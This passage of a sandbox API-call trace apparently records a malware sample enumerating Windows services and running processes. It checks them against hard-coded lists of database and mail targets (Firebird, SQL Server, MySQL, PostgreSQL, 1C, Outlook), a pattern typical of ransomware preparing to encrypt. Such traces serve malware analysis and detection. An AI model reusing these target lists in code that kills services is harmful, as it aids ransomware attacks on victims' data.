lpString2="CryptSvc") returned 1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.001] lstrlenW (lpString="CscService") returned 10 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0158.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0158.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0158.001] lstrlenW (lpString="DcomLaunch") returned 10 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.001] lstrlenW (lpString="Dhcp") returned 4 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.001] lstrlenW (lpString="Dnscache") returned 8 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.001] lstrlenW (lpString="DPS") returned 3 [0158.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.002] lstrlenW (lpString="eventlog") returned 8 [0158.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0158.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0158.002] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0158.002] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0158.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0158.002] lstrlenW (lpString="EventSystem") returned 11 [0158.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.002] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.002] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.002] lstrlenW (lpString="gpsvc") returned 5 [0158.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.002] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.002] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.002] lstrlenW (lpString="iphlpsvc") returned 8 [0158.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.002] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.002] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.002] lstrlenW (lpString="LanmanServer") returned 12 [0158.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.003] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.003] lstrlenW (lpString="lmhosts") returned 7 [0158.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.003] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.003] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.003] lstrlenW (lpString="MMCSS") returned 5 [0158.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0158.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0158.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0158.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0158.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0158.003] lstrlenW (lpString="MpsSvc") returned 6 [0158.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.003] lstrlenW (lpString="Netman") returned 6 [0158.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0158.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0158.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0158.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0158.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0158.004] lstrlenW (lpString="netprofm") returned 8 [0158.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.004] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.004] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.004] lstrlenW (lpString="NlaSvc") returned 6 [0158.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.005] lstrlenW (lpString="nsi") returned 3 [0158.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.005] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.005] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.005] lstrlenW (lpString="PcaSvc") returned 6 [0158.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.005] lstrlenW (lpString="PlugPlay") returned 8 [0158.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.005] lstrlenW (lpString="Power") returned 5 [0158.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.005] lstrlenW (lpString="ProfSvc") returned 7 [0158.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.006] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.006] lstrlenW (lpString="RpcSs") returned 5 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.006] lstrlenW (lpString="SamSs") returned 5 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.006] lstrlenW (lpString="Schedule") returned 8 [0158.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.007] lstrlenW (lpString="SENS") returned 4 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.007] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.007] lstrlenW (lpString="Spooler") returned 7 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.007] lstrlenW (lpString="SysMain") returned 7 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.007] lstrlenW (lpString="Themes") returned 6 [0158.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.008] lstrlenW (lpString="TrkWks") returned 6 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0158.008] lstrlenW (lpString="UxSms") returned 5 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0158.008] lstrlenW (lpString="WdiServiceHost") returned 14 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0158.008] lstrlenW (lpString="WdiSystemHost") returned 13 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0158.008] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0158.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.008] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0158.008] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0158.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0158.009] lstrlenW (lpString="Winmgmt") returned 7 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0158.009] lstrlenW (lpString="WPDBusEnum") returned 10 [0158.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.009] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0158.009] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0158.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0158.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0158.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0158.011] Process32FirstW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.012] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.012] lstrlenW (lpString="System") returned 6 [0158.012] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0158.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0158.012] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0158.012] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0158.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0158.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0158.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0158.012] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.012] lstrlenW (lpString="smss.exe") returned 8 [0158.013] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0158.013] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.013] lstrlenW (lpString="csrss.exe") returned 9 [0158.013] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.013] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.013] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0158.013] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.014] lstrlenW (lpString="wininit.exe") returned 11 [0158.014] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0158.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0158.014] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0158.014] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0158.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0158.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0158.014] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0158.014] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.014] lstrlenW (lpString="csrss.exe") returned 9 [0158.014] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.014] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.014] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.015] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.015] lstrlenW (lpString="winlogon.exe") returned 12 [0158.015] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.015] lstrlenW (lpString="services.exe") returned 12 [0158.015] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.016] lstrlenW (lpString="lsass.exe") returned 9 [0158.016] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0158.016] lstrlenW (lpString="lsm.exe") returned 7 [0158.016] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.016] lstrlenW (lpString="svchost.exe") returned 11 [0158.016] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.017] lstrlenW (lpString="svchost.exe") returned 11 [0158.017] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.017] lstrlenW (lpString="svchost.exe") returned 11 [0158.017] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.017] lstrlenW (lpString="svchost.exe") returned 11 [0158.017] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.018] lstrlenW (lpString="svchost.exe") returned 11 [0158.018] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: 